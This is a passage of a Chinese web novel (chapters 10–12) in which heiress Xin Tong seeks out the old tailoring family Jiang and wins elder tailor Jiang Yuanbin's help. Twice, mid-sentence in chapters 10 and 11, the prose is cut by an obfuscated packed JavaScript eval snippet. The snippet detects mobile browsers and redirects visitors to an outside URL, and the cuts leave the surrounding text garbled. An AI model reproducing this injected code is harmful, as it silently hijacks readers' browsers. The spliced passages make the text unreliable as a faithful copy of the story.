——那件西装,就是她心中认为的美的,好看的西装。 那个裁缝老爷爷,似乎也不是什么普通裁缝,而是一个很有名的人。他看上去在整个行业都声名显赫,地位尊崇,连何川当时都对他毕恭毕敬。 是谁来着? 名字叫什么来着? 辛桐绞尽脑汁地想,试图回忆起那件西装的制造者。 …… 卡座旁,站着一个年轻俊美的男人。 是一个新人男模,想过来服务辛桐。 他动作怯生生的,几番想上前,却见辛桐一直紧闭眼睛,眉头紧锁,于是不敢上前打扰。 突然,只见大小姐一下子像是想到了什么般迅速站了起来,目光如炬,一把推开他就往前跑。 他不想错过机会,赶紧闷哼一声,弱柳扶风撞到了小姐怀里。 他来之前可是做足了功课,圈子里都说这位辛桐小姐人傻钱多,最喜欢小白脸。他双眸含着盈盈水光,双手顺势搂住了她的腰。 ——却没想到,辛桐立即收回了手。 他失去平衡,直接摔在地上,摔了个狗啃屎。 曾经沧海难为水,除却巫山不是云。 辛桐瞥了一眼男人黑色的头发。 “不好意思啊,最近喜好变了,喜欢金毛。” 男人坐在地上,简直不敢相信。 金毛? 金毛犬? 意思是,小姐喜欢找人当狗? 圈子里确实有富婆有这种癖好。可是当狗要当到哪一步呢?是……口口?还是口口口口? 男人还在天人交战做心理建设,再抬头时,辛桐却早已没影了。 …… 辛桐几步跑进舞池,一把揪住了醉醺醺的宋青云,把她从蹦迪场子里拔了出来。 周围音乐震天响,辛桐大声吼: “你还记不记得,做西装做得特别好的那家,叫什么来着?” “专做西装定制的!” “最权威最专业的!” “特别有名,行业内地位特别高的!” “传了好几代,圈里人还老是说我爸是暴发户,他家才是贵族老钱的!” 吼了一大堆零碎的形容词。 宋青云终于听明白了,双眼迷离地开口。 ——“江家。” 10. 第 10 章 辛桐和宋青云蹦迪蹦到了凌晨三点。 宋青云已经喝得烂醉,像具尸体。 辛桐虽然没喝酒,但是被烟雾和音乐熏了一晚上,脑子也昏昏沉沉。 把这具烂醉的尸体从夜店拖了出来,下一秒就看见门口站着一个人。 身材高大,穿着黑色风衣,俊颜冷沉,身形萧肃。 宋庭风从辛桐手里一把接过人,轻松抱起来,低头皱眉,看着怀里满身酒气的人。 “送辛小姐回去。”他对司机扔下这句话,转身就准备抱着宋青云离开。 “不用不用。我开车来的。” 辛桐指指旁边粉色的劳斯莱斯。 “那让司机帮你开车。”男人声音不为所动。 显然宋家大少爷从小到大的学识修养都很难允许一个女生在大半夜一个人开车回家,送她安全到家是最基本不过的礼仪。 辛桐听着他说一不二的语气,知道很难改变了,也就没推辞。 眼看宋庭风抱着怀里的人就要消失在前方黑夜里,辛桐惴惴不安喊了一声: “庭风哥,等等!” 她从小就有点害怕他,总觉得他性格冷淡,当上宋家继承人后又心思深沉,跟宋青云那种头脑简单的人完全是两种类型。 即使和宋青云多年来都关系这么好,辛桐还是不自觉主动避免和宋庭风有交集。 听见她的声音,宋庭风站定,没回头。 “你别生气,别怪她,是我把她拉来夜店的。” “她其实没喝多少,只是酒量差,喝一点就醉成这样了。” 她小心翼翼看着前方男人的背影,心里打鼓等着他的回答。 几秒之后,才听见那人低声说, “听闻辛小姐最近在处理家族内部事务。如果遇到什么困难,可以来找我,宋家会尽力帮忙。” 说完,就抱着人上了宾利,扬长而去。 * 劳斯莱斯开进了地下车库。 宋庭风的司机果然专业性极强,知道什么该做什么不该做,一路稳稳地把人送回来以后,停好车,鞠躬道别,立刻转身就走了,绝不多留一秒。 这里是何川和辛文清住得最多的一套别墅。 位置很好,在主城区,离森川总部近。是一幢民国时期的历史建筑,西式洋房,后院有一片很大的花园。 辛桐成年以后,一家人平时基本都住这里,只有放假过节才会去其他宅子。 辛桐估摸着今天爸妈应该都在家,小心翼翼做贼般轻手轻脚地上电梯,生怕吵醒爸妈,导致自己出去鬼混到凌晨三点的事情败露。 ——结果下一秒,她就突然看见,前方死寂一片的黑暗中,隐隐约约有一个人影。 顿时,心脏骤停,吓得肝胆俱裂。 “啊啊啊啊啊啊!” 她条件反射就腿软了,一屁股坐在地上。 下一刻,“啪——”地一声灯光大亮,她眯了眯眼睛,看见眼前是一个男人。 年轻,高瘦,黑发垂下微微遮挡住眼睛。 站在角落,一动不动,就这样等着她。 正是何天麒。 哦,对。他现在是她“弟弟”,也住她家。 “……”辛桐此刻吓得话都说不出来了,坐在地上瑟瑟发抖,张着嘴看着何天麒一步步走到她面前,站定,垂眸,居高临下地看着她。 “去哪了。” 平淡的声线。 “妆花成这样。” 嗯?她哆哆嗦嗦掏出手机屏幕,一照这才发现,自己蹦迪到凌晨,妆全都花了,黑色眼线流了满脸,滑稽无比,像个女鬼。 不!辛桐倏地抬起头,手脚并用地爬起来,警惕地看着何天麒。 ——明明他才更像鬼! 黑眸沉沉,清瘦诡异,突然变得和平日里外人眼里的理智冷静完全不一样,大半夜一句话不说地潜伏在黑暗里,等她回家。 多瘆人啊! 辛桐起了一身鸡皮疙瘩。 她本来看见何天麒就烦,现在更是恨不得赶紧离他远点。 正准备跑回房,手臂却被一股力气骤然拉住。 “还没回答,去哪了。” 他扫了一眼她身上的露背长裙和脚上的高跟鞋。 脚背边缘已经有点红了,是今天长时间穿高跟鞋被磨的。 身上除了香水味,还混杂着酒精味。 头发散乱,妆容全花,蹑手蹑脚地在凌晨回来。 他脸色骤然沉下来。 “会所?” “又点了男模?” 他右手捏着辛桐手臂,力气越来越大,捏得辛桐嘶了一声,用力挣开他,直接一把把他推开。 “有病啊你。” 辛桐瞪着他。 “我去哪关你屁事?” “你只需要知道,Kelly是我的,森川是我的,我爸我妈也是我的!” 撂了句恶狠狠的宣战口号,辛桐转身头也不回地走了。 * 要抢回家产,打败何天麒,就要完成在一年之内让Kelly盈利的目标。 辛桐脑子简单,做事直接。 她觉得,什么时候做出来好看的衣服,什么时候她的赚钱大计才能走入正轨。 从宋青云那里得到了指引,又在周围搜罗了一圈信息后。 辛桐终于决定出发,去那个大名鼎鼎的江家,碰碰运气。 江氏是知名高级西装定制品牌。 产业不多,但是极其稳定,光是全定制和半定制在圈内就已经是顶尖水准,来来往往的客人遍布世界各地,多位政商文界名人都曾是江氏西装的客户。 更让人难以相信的是,江氏竟是百年品牌。 从民国时就已经成立的老牌高级西装定制品牌,创始人是江望女士,从最早在梧城老城区开下店铺,至今风雨飘摇已过百年。 江望女士算得上一代风云人物。出身权贵,名门后人,家里有家族庄园,名副其实的千金大小姐。独自留洋英国学习服饰设计后投身西装设计,又辗转去英国萨维尔街,成为当时唯一一个女性华人学徒,当了二十年的裁缝。 回国后,在梧城开下第一间江氏高级西装裁缝店。基于出色的技术和扎实的服务态度,江氏慢慢名声在外,成为国内第一批定制西装开拓者,上流人士最为青睐的西装定制源地。 技术和财富一代代传承下来,改革开放以后江氏开始扩大产业和尝试工厂化,到现在已经拥有极其稳定的高端西装成衣线。 传到江诚这一代的时候,其父亲江远滨已经成为江家最权威的话事人。服装行业许多知名设计师多年前都曾师从江远滨,他是西装定制界最声名显赫、德高望重的老裁缝,甚至曾受到国家领导人亲自接见、给领导人量体裁衣。 ——名门之后,底蕴深厚,代代传承,难怪圈里都觉得江家才是真正的“老钱”。 不过…… 辛桐看了看手机里查来的资料, 眼神锁定在“江崇焰”这个名字上。 江诚的独子,江家下一代唯一的继承人。 比起“江氏”品牌和家族的鼎鼎大名,这位继承人大少爷却几乎从来都没有在圈内露过面,存在感极低,神秘无比。 正因如此,外面对江崇焰有诸多猜测。 有人说江崇焰长相极其丑陋,所以闭门不出。 有人说江崇焰学艺不精,天资平平,所以江远滨对他不满意,迟早会寻找其他人当下一代继承人。 ……众说纷纭,当事人却从未回应,神秘飘渺,淡然处之。 看到这里,辛桐捧着下巴思考。 好歹也是江家新一代唯一的继承人啊,在二代圈子里也肯定是被众星拱月的。 怎么从来都没人见过他的样子? 有钱人圈子就那么大,那么多大大小小的聚会、酒席、社交场合,怎么做到从来不出现的? 辛桐百思不得其解。 因为她才十几岁的时候,她那些荒唐的事迹就已经随着“草包”的名头传遍整个梧城了。拜喜好男色所赐,她在圈子里无人不知无人不晓。 “……难道你还觉得这是什么值得自豪的事吗!”宋青云曾对她咆哮。 那咋了。 辛桐挺了挺胸脯,张爱玲说出名要趁早。 …… 她开车到了江氏西装定制总店门口。 门店位置在主城区。这里传统与现代交汇,周围是著名的历史街区,法国建筑极具特色,街边梧桐金黄,文化艺术氛围极其浓厚。没猜错的话,租金也十分昂贵。 耳边微风拂过,风铃晃动声中推门而入。 辛桐目标明确,直奔柜台,问预约江远滨先生做一套女式全定制要多久。 没想到店铺负责人姐姐微笑礼貌道,“江远滨先生早已不接单了。” “如果您需要指定江诚先生来的话,目前也需要等待接近一年的时间,并需要获得他本人的同意。” 辛桐表情耷拉了下来。 不过,倒也不意外。 江远滨年逾古稀,地位又如此高,如果轻易在店里就可以预约到这种大师级的人物,那才不正常。 而且那位负责人只说了等待时间和需要获取江诚本人同意,其他的甚至一个“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15281687|166851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钱”字都没有提到。在她们的视角里,每天来找江诚预约做全定制的都非富即贵,没几个会在意钱。 ——上层圈子里,人脉关系才是无价之物。 早就猜到没这么简单,辛桐也没气馁,开始独自欣赏起这家店的内部装潢。 店内面积很大,层高有三层楼,木制楼梯通往上层。玻璃被擦得一尘不染,各类西装琳琅满目却摆放悬挂得整整齐齐。 空气里有浅淡的香味,灯光明亮却并不刺眼,泛着淡淡的蓝。每套西装制作考究,面料高级,剪裁得体,堪称艺术品。陈列模特头戴礼帽,领带齐整,西装熨烫得体,皮鞋锃亮一尘不染,只是身处其中就已经能感受到那种强烈的英伦绅士精神。 她静静地站在原地。 这种一丝不苟的、精致考究、优雅经典的感觉,倒让她心内一动。 她不由自主想到了一个人。 一个和这种英伦绅士精神截然相反的人。 金色长发,金属饰品,宽大衣衫。 独自一人行走在街头,步履沉稳,纵间穿行。 那样鲜明的个性感、自由感和生命感,只见他一眼就能得到侵略性的视觉冲击,再也难以忘记。 辛桐到底出身上层,就算玩物丧志,但从小也是养尊处优,平日里也有看展和听古典乐的乐趣。在她这二十几年来的生活圈子里,她从未见过这种人。 强烈的叛逆,冰冷的金属饰品。 一如此人的名字。 她微微张口,那一串短促的英文在嘴里无声滚过。 “Aiden”的意思是,火热的烈焰。 ……直到门口风铃声响起,有其他客人进来。 辛桐才恍然回神。 怎么会突然想起他? 虽然长了一张帅脸,但是此人那种酷酷拽拽、干什么都一副好整以暇的悠闲姿态的样子,真的很欠揍! 一想到帝国酒店那天他默不作声在旁边全程观察、最后一句话都没说就冷酷离开的那一幕,她就一股火起。 辛桐撇撇嘴,忘掉那个讨厌的人,转身想出店门。 ——“辛桐?!” 吴思枫站在店门口,睁大眼睛。 “你怎么会在这里!” 她姿态高傲、上上下下把辛桐打量了个遍,很快明白了什么,眼里透出轻蔑的笑。 “来江氏定制西装的?”她抱胸,“可惜了,我前几个月就预约好了他们这里最顶尖的裁缝师傅,你只能排在我后面了。” 辛桐顺着她的目光往店里墙上看过去。墙上挂着好几位裁缝师傅的资料和照片,按照级别排序和收费。 吴思枫得意洋洋指着那位最上方的师傅,“陈师傅可是三十几年的老裁缝了,是店里技术最好的,做一套全定制要五位数,从头开始排队的话,起码要排半年。” “我看你要是急的话,还是选下面的师傅吧。上周我过来,陈师傅已经跟我说,这几个月全力做我这一单,你就算现在排也排不上了。” 她阴阳怪气的轻蔑语气实在是令人难以忽视。 但辛桐却极其平静。 “你错了,陈师傅不是最好的。江家人才是最好的。” 吴思枫一脸看傻子的表情看她,“你疯了吧!你哪来的脸,让江家人亲自给你做西装!” “他们开门做生意,给谁做不是做?”辛桐耸耸肩,“要不就叫江诚给我做吧。” 吴思枫大笑。 “你还能再蠢点吗?你以为你是谁,江诚怎么可能给你做?人家是江家家主掌事人,一年总共接待客人不超过三个,连我爸去都排不上号!” “那让江崇焰给我做。” “你!” 刚刚还满脸鄙夷不屑的吴思枫突然脸色一变,情绪异常激动。 “你离江崇焰远一点!少痴人说梦了,江崇焰这么多年从来不在公众面前露面,你连找到他的机会都没有!” “这么激动,你是他梦女?”辛桐揉揉耳朵,“一会喜欢Aiden,一会喜欢江崇焰,你还挺博爱。” “……”吴思枫气得脸通红,想说什么又努力憋了下去,艳丽的五官都有些扭曲,最后吐出来一句,“不许你肖想他!” “你前几天在Kelly做的那些蠢事早就传得人尽皆知了,圈子里现在所有人都在嘲笑你,你居然还有心思来这里给自己做西装?” “你以为你还是以前那个森川集团的独女大小姐?连亲爸亲妈都不要你,声势浩大公布领养子,你早就被放弃了!就你这种蠢货居然还垂死挣扎非要抢Kelly过来,难道你真觉得你能在一年之内赚到钱?真是让人笑掉大牙!” 11. 第 11 章 店里安静,空气凝滞。 吴思枫的声音越来越大,竟引得好几个旁边正在量尺寸的客人也频频看过来。 身后传来店员略显慌乱的脚步声以及窸窸簌簌的吃瓜讨论声,辛桐垂眸听着,她的名字时不时出现,俨然再次成为了人们口中用以消遣的豪门八卦笑料。 她是梧城最有名的豪门废物,草包蠢货。 徒有家世,脑子空空,连生父都早已放弃转而投资优秀出众的领养子,她却还不自量力死皮赖脸来争家产。 大家对这个亏损了近十个亿的烂摊子幸灾乐祸,茶余饭后再看看今天辛桐又闹了什么笑话,最后再对努力讨好那位何家的新少爷,真正的继承人。 没人会相信她能把Kelly做到盈利。 没人会相信她能抢到家产。 没人会相信她能做到常人做不到的事。 辛桐抬起头,一瞬不瞬地直视着吴思枫。 “人尽皆知,说明我一举一动都能成为人群焦点。” “我爸转而选择别人,说明我一开始就是唯一的人选。” “烂摊子亏损别人赚不到钱,说明这个钱就应该我来赚。” “我辛桐不怕任何人,不怕任何事,只要是我的,我就一定会拿回来。” 看着面前吴思枫越来越扭曲愤怒的脸,这个“梧城第一废物”却冷静得出奇。 不仅丝毫不动怒,反而勾起嘴角。 “别这么生气,我是个好人,我要是掌权只会天下太平,让所有人都来开裸男趴体。” “一年后再见,到时候我请你吃饭。” “以森川唯一继承人的身份。” “顺便,送你一套江家人亲手做的西装。” * 辛桐走出了店门。 这一趟不仅无功而返,还被当众羞辱了一通。 辛桐干脆在西装店对面的街上随便买了份生煎,坐在公园长椅上休息。 这几年在国外吃多了令人兴致全无的白人饭,现在生煎的汁水在嘴里爆开,辛桐简直吃得想流泪。 公园广场上飞过一群白鸽。 鸽影掠过,旁边长椅上,坐着一个老人。 棕色外套,戴着帽子,胸前的真丝手帕整整齐齐地叠好放在口袋里。 同样坐在公园长椅上,片片白鸽飞过,他手上拿了鸟食,却没有鸽子停留。孤独,冷清,像是执着固执地坚守着一些东西。 整个公园就他们两个人。 今天工作日,年轻人上班上学,老人通常有更有趣热闹的地方可消遣时间。 而普通免费的街角公园这里,空旷,无聊,唯有上午不浓不烈的阳光,脚边翠绿色摇晃的小草,以及他们两人。 辛桐感觉到坐在她右边长椅上的这位老爷爷似乎在观察自己,于是很是直接地把手里的生煎递了过去。 “吃吗?” 那爷爷没想过她会说出这样的开场白,一愣。 随后就笑了,似乎是觉得她幼稚得可爱。 辛桐知道他应该很有钱。 她从对方穿着打扮就能看出来,也许人家并不屑于吃这种街头食物。 但是她递出去这枚生煎只是出于一种天真本源的分享,要是被拒绝或者嫌弃了,她也不会有任何难过。 可是下一秒,他居然真的接了过去。 辛桐略有些惊讶,看见他手上那块价值不菲的名表。 顿了顿,顺带把袋子里没用过的筷子也给了他。 看来不论何种时候,食物都是永远的破冰法则。 这么有钱的一个老头,却在工作日上午一个人孤独地来无人的免费公园喂鸽子。 辛桐挠挠头,试图说服自己这也不是很奇怪。梁朝伟不是也喜欢去广场喂鸽子吗?有钱人可能都这样,沉浸在自己的世界里,不喜欢被打扰。 爷爷吃得很沉默。 他礼貌道谢,之后就不再说话。 食物的香味慢慢飘散在梧城早秋的风里。 一年轻一年迈,一左一右,安静地共享食物,共享眼前梧城的熹微晴朗的秋日。 辛桐低着头,她心里还装着更严重的正事。 手里全是搜集来的资料,她托着下巴,愁眉苦脸地研究。 到底要怎么才能联系上江远滨? 业内大师级的人物,哪里是她这种小喽啰说见就能见的?她这种每天混吃等死的二代,手上唯一的人脉就是她亲爸何川。 可是何川真的愿意帮这个忙吗?看何天麒那嚣张的样子,辛桐就算再不愿意也得咬牙切齿地承认,她是真的已经被爸妈抛弃了。 Kelly是她给自己寻找的最后一条生路,何川巴不得她赶紧失败碰壁灰溜溜回家,没有直接停掉信用卡都算何川网开一面了,怎么可能还会帮忙? 不找何川的话,要不自报家门说自己是何川女儿?可是人家江远滨这么高的江湖地位,会因为她是何川的女儿就另类对待吗?这身份能值几个钱? 辛桐眉头紧紧皱在了一起,两只手放在脸颊两侧,小脸被手掌揉得皱巴巴的,陷入了深度思考,没注意到自己一不小心竟然把脑内的想法念出声了。 ——“你要找江远滨?” 辛桐被右边突如其来响起的苍老声音吓了一跳,回过神,“您也知道他?” 那爷爷笑了,指着自己身上的外套。 “这件衣服就是他做的。” 哦!辛桐来了兴致。 老客户啊!人脉这不就来了吗! 她兴冲冲地开始和对方聊天。 辛桐此人能力差性子懒,但是身上最大的特点就是社交属性满点,思维跳脱活泼,跟谁都能聊到一块。加上她身上那种坦荡的无知感,没人会防范她,反而怎么开玩笑对方都不会生气。 ——通俗地来说,就是没人跟傻子计较。 两人天南海北地闲谈,从生煎聊到西装,竟越聊越投缘。00后的新新人类,想法天马行空,老人含笑听着,脸上那种独自一人的孤寂冷清也被冲散很多。 爷爷问起为什么要找江远滨,辛桐没说自己的身份,只说自己在创业,想开公司卖女式西服,但是公司里的产品都太丑了,想找能做出真正好看衣服的人求教帮忙。 “好看和丑的标准是什么?” 辛桐想也没想就回答,“我的眼睛就是标准。” “……”如此经典的美学问题,被辛桐一句莫名其妙的幼稚狂妄的发言给击退了。爷爷完全没想到会得到这样一个答案,沉默半晌,再次开口。 “如果你真的拿到了他的联系方式,你为什么会觉得江远滨愿意帮你?广义上来说,你们在市场上属于同行,甚至算得上竞争对手。他与你并无交情,自有他的徒弟和继承人要教,为什么会把多年来的经验传授给你?” 核心问题被光明正大地挑破。 辛桐知道现在自己的一举一动都会被外界记录。 从她在帝国酒店夸下海口说要揽下Kelly这个烂摊子的那一刻起,圈子内就已经开始了以她为中心的嘲笑狂欢,大家都等着看这个蠢货到底能作死到什么程度。 前几日去Kelly公司被曝光群嘲的事情显然不是偶然。加上她刚刚还在江氏西装店里遇见了吴思枫,估计明天圈里人又会全都知道她每天不务正业,一个总裁连公司都不去,反而悠哉游哉去给自己做高定衣服。 Kelly一个卖女式西装的公司,正常人接手之后第一反应都是借鉴同类型产品设计,赶紧投入市场试水,能挣一点是一点,努力挽救巨额亏损。 ——之前那几任职业经理人都遵循了这个方式。 都火烧眉毛了,没人会理解她的“先做出好看的衣服”的创业思路。 更不要说,指望在没有任何人脉加持的情况下,找到服装行业内大师泰斗级的人物,让西装世家□□忙指导。 她的整个计划,在寻常人看来,都属于白日做梦。 …… 辛桐面对着眼前的老人,想了想,给出了一个可用来被交换的条件。 “我跟森川集团那边有点关系,如果江氏有需要,我可以促成两家日后的合作。” 森川集团,现在国内服装行业龙头企业,产业遍布全国,当之无愧的商业帝国集团。这样一个商业合作机会,是多少人求之不得的机缘。 可是那老人却面色平静,语气淡然。 “江氏产业稳定,没有扩展的需求。” “……”辛桐挠挠头,努力想,“那让江氏入股我的公司当第一大股东,日后分红大赚一笔?” 他轻笑一声,眼角透着深深的皱纹。 “江氏最不缺的就是钱。” 辛桐努力朝着商人方向思考的两个路径都被毫不犹豫地、轻描 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15281688|166851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淡写地否决了。 她叹一口气,决定按照自己本来的人设和思维方式回答问题。 “既然这样的话,那我就走感情路线吧。” 看着面前老人稍显愣怔的神色,辛桐耸耸肩,开始胡说八道: “人到老年,生活多孤独。” “我天天上门陪聊,教他刷抖音,看短剧,拼多多砍一刀。” “等到获取他的信任之后,再用我的美貌去勾引他孙子江崇焰。” “可是江崇焰是天之骄子,我只是一个小创业公司的老板,我们之间云泥之别。他身边还有一个门当户对的豪门名媛白月光,说崇焰哥哥对她才是真心的,而我只是她的替身。” “历尽艰难后江崇焰对我爱得死心塌地,我再假孕带球跑,三年后被江崇焰找到冷脸压在墙角,红着眼掐腰哑着嗓子对我说,乖乖,跑去哪,留在我身边,命都给你……” “最后江远滨觉得我配不上他孙子,给我天价分手费让我离开江崇焰,我终于图穷匕见,说可以但是我不要钱,我要他教我做西装。” “成功!” 四周陷入诡异的寂静。 看到老人眉头皱在一起,一言不发,辛桐心里突然有点发毛。 玩抽象这三个字还是很好理解的吧?玩抽象,要怎么跟你解释什么叫玩抽象呢?把抽象拿出来玩,就是玩抽象。 辛桐张张嘴,突然才意识到,刚刚这番惊世骇俗的言论对于一个六十多岁的老爷爷来说也许还是有点太超过了。 她有点不好意思地想解释一下,可是下一秒—— “你真是这么想的?” 爷爷眼神复杂了几秒,深深看了一眼辛桐,又叹口气。 “原来你对江崇焰竟痴情至此。” ? “ber,您听我解释……” “不用了。”老人朗声笑道,“我虽然年纪大了,但是玩笑话和实话还是分得出来的。” 他面色和润,眼里透着欣赏。 “我知道你是开玩笑的。” “你年纪小,初生牛犊不怕虎,敢想敢做,知其不可为而为之。遇见困难却幽默应对,这其实是一种大智若愚的大智慧。” 他颤颤巍巍站起身,摘下头顶的帽子,笑着做了一个规矩的绅士礼。 “这位小姐,要来我家喝杯茶吗?” * 辛桐跟着老人上了黑色宾利,车上专属司机正在等候。一路往别墅区开,最后车停在一处庄园别墅前,是梧城少见的英式建筑,地上三层,红瓦尖顶,气派无比。 走进大门,每走几步路就能见到一个仆人向老人鞠躬问好。辛桐极其茫然地跟在老人后面,下意识想扶,可是对方脚步稳健步履飞快,反而是她差点被楼梯绊一跤。 “……”尴尬整理了一下头发,她正襟危坐坐在沙发上,接过佣人递上的茶,尽量让自己显得有见识一点,开始学甄嬛,“哇,好香的茶!我家里的竟比不上这里的一半!” 爷爷在她对面坐下,像是一眼看出她是为了礼貌恭维而喝不惯,叫来佣人说了几句,没过不久,佣人居然端上来一杯冰可乐。 辛桐目瞪口呆,冰可乐这种东西实在是与周遭环境格格不入。 “喝不惯的话,不用勉强喝茶。” “我孙子也喝不惯,就喜欢喝可乐。家里常常备着。” “哦?” 辛桐听他一说,脑中已经浮现出老人在家含饴弄孙、尽享天伦之乐的场景。 左右看看,“您孙子几年级?小孩不能喝太多可乐,我小时候就牙不好,治了好久呢。” 爷爷缓缓笑了一声。 “那小祖宗可不由我管。” “我年纪大了,眼睛也不好,近几年都不再工作,之前排的单子也都退了。” “只是,今天遇见你,倒觉得跟你这小姑娘怕是有缘。” 他慈爱地笑。 “我帮你做一套全定制。不收钱。” ……?辛桐缓缓停了手里的动作。 饶是她再蠢,此时此刻也已经察觉到了什么。 环顾四周,狠狠咽了口口水,嘴唇颤抖,声音虚浮, “难道,您,您是……” 江远滨笑着说, “你可以先教我拼多多砍一刀,再用美貌勾引我孙子江崇焰。” “我没意见。” 12. 第 12 章 辛桐这辈子都没这么呆过。 她石化在原地五秒。 “啊啊啊啊!” 她从沙发上一跃而起,浑身的血液都在沸腾。 踏破铁鞋无觅处,得来全不费工夫! 千言万语都堵在喉咙里,她一会觉得应该先表示感谢,一会觉得先传达激动,一会觉得应该先澄清之前的抽象言论…… 兴奋和急切交织,憋了半天,脸憋得通红,到最后才挣扎着喊出一声澄清: ——“我没有要勾引江崇焰!” 江远滨大笑。 “嗯。你不用勾引,有可能是他先被你吸引。” “……” 辛桐梗住,大脑一片空白。 由于太过兴奋,浑身血液直冲脑袋,她现在心里乱糟糟。 想着既然对方已经公开身份,那自己要不要现在也做一个正式真实的自我介绍,表明自己是何川的女儿,自己要创业的公司其实是森川旗下的Kelly女装。 “您好,我觉得还是应该正式自我介绍一下,我叫……” 话没说完,却发现江远滨站起身,意兴阑珊地跟仆人交代着什么,一脸不感兴趣。 辛桐瞬间明白。 他不在乎她到底是谁、有什么背景、有什么目的。 他只觉得她有意思,和她有缘。 萍水相逢,顺手帮忙做一套西装,邀请回家,喝茶聊天。 就这样乘兴而来,简单如水。 自我介绍的话被咽了下去,江远滨冲她招手,要带她参观参观家里。 整个别墅装饰古典优雅,历史感极强,多为暖深色调,古董家具低调却奢华。客厅正中央有一个巨大的壁炉,辛桐上手摸了一下,惊讶发现居然是真石头做的。 ——这种居住风格,和她从小的生活环境截然不同。 何川属于创一代,上一辈有家底却不多,和江家这种名门之后百年贵族是完全没法比的。森川集团创办二十多年里积累的所有财富都是何川一个人拼出来的。 所以他就喜欢现代的简约的风格。辛桐成年以前,家里基本都是住市中心大平层,有别墅也是统一现代装修风格,黑白灰利落干净,宽敞明亮。 辛桐默默摸了一下手边深棕色的古董家具,总算是明白了,怪不得圈里有一小搓人,表面对何川毕恭毕敬,背地里都奚落他是暴发户。哪怕何川后来搬家到了主城区的花园洋房历史建筑,试图给自己包装一下有文化的标签,都没法打破这种圈内认知。 和江家比起来,谁都像暴发户。 “什么事?” “那小子又不回来?” “……不是都已经回国了吗?他现在在哪?” “打电话给喻家小子了吗?他连喻家小子的面子都没给?” 江远滨在窗边接电话,越说越生气,吹胡子瞪眼。 “你告诉他,这周六必须回来吃饭,不然就永远都别回来了!” “什么没这么严重?就这么严重!” “那小祖宗现在简直叛逆得不行了!仗着没人管他,一两个月都不回家!” 辛桐安静站在一边,耳朵却伸得老长,偷听八卦。 很容易猜出来,江远滨口中这个“叛逆的小祖宗”,应该就是那个从不公开露面、神秘无比的唯一继承人少爷,江崇焰。 名门望族,天之骄子,独子继承人,怎么看都是含着金汤匙出生,人生一片光明。 周围二代大多都是被送到国外进修,回国听家族安排锻炼能力,和同阶层其他家族异性恋爱联姻,最后正式继承家业。 ——可是他却从不参与商业社交活动,从不出席宴会,无人知晓他长什么样子、读什么学校、做什么工作。亲爷爷斥他叛逆不归家,不服管教,一口一个“小祖宗”无奈地叫。 辛桐慢慢走到一旁的红木书桌前。书桌一尘不染,正中间,摆着一张照片。 一个年轻男人,肤色偏深,穿着黑色无袖。 肩膀宽阔,肌肉精瘦,锁骨处戴着一条老鹰形状的银质项链,鸭舌帽歪了90度。 手腕上缠了三圈手链,松垮挂在修长的腕骨处。 手背骨节突出,青筋蜿蜒。 拿着一块黑红色的滑板,冲着镜头用滑板挡住了脸。 没有露出一个五官,甚至没有露出一根头发丝。 可是那股叛逆锋利、冷峻锐利的气质和侵略感,几乎已经冲出照片。 很难想象这样一个贵族底蕴如此深厚的家族,竟然会诞生出这样一个自由叛逆、野性不羁的独子继承人。 心里慢慢有一些奇怪的、陌生的感觉涌现上来。 辛桐低头,盯着那张照片。 她意识到,她对于这位江家少爷,起了强烈的好奇心。 …… 江远滨挂断了电话,像是被那位叛逆子气得不轻,过了半晌才回过头,要留辛桐吃午饭。 辛桐低着头,想起了正事,鼓起勇气开口。 “江先生,感谢您的帮忙。能得到这个机会让您亲自为我做一套全定制,我感到非常荣幸。西装的钱我按照原价给您。但是——” “说话文绉绉的,一点也不像你。” 江远滨挥手打断道, “我不缺钱,说了给你免费做,就不会收钱。” 辛桐一愣,花光所有勇气终于图穷匕见,“那您可以教我做西装吗?” 辛桐心脏怦怦跳,她知道自己这个请求太过鲁莽冲动。 她和江远滨毫无交情,帮她做西装是人家善良,但是还指望人家把她当作徒弟一般,把多年来的看家本领都传授给她,实在是得寸进尺。 鼓起勇气的一问,只是积极勇敢的尝试。不成功也正常,不成功就另寻他法。胆大妄为去生活,毫无畏惧去失败,这就是辛桐的人生态度。 煎熬等了几秒,终于听见对方开口。 “原来是为了说这个。” 江远滨似乎还是因为之前那个电话而心烦意乱,沉着脸看了桌上那张照片几秒钟,突然冷笑道, “你要是让那小子每周都回来吃一次饭,我就答应你。” 辛桐猛地一震。 她努力平复呼吸,悄悄握紧双拳,眼里射出兴奋的光。 辛桐,你的机会来了。她在心里悄声说。 世界就在你脚下。 * 眼看着那位打扮得如同走戛纳红毯般艳光四射的“梧城第一废物千金”扭着胯踩着高跟鞋就这样出现在他办公室门口。 喻承锦拿着钢笔写字的动作一顿。 大小姐把手里挂着的大包小包礼物全都摆在桌上。 包装繁复,丝绸柔软,外包装上印着奢侈品标签,大大小小起码有七八个物品。 随后身姿聘婷地坐下,捧着脸星星眼看他。 “……” 喻承锦敛着眉眼,看着这一堆用来讨好他的礼物。 认命般叹口气,“辛小姐有何贵干?” “喻氏公司大楼里不会开party,也没有男模。” 什么话,好像她每天只想着这种男女之事一样。 辛桐害羞瞪了他一眼,扭扭捏捏开口。 “我不要男模,我要江崇焰。” …… 那天辛桐从江远滨家里出来之后,喝了五瓶六个核桃, 然后用她那不大的脑仁努力思考了很久。 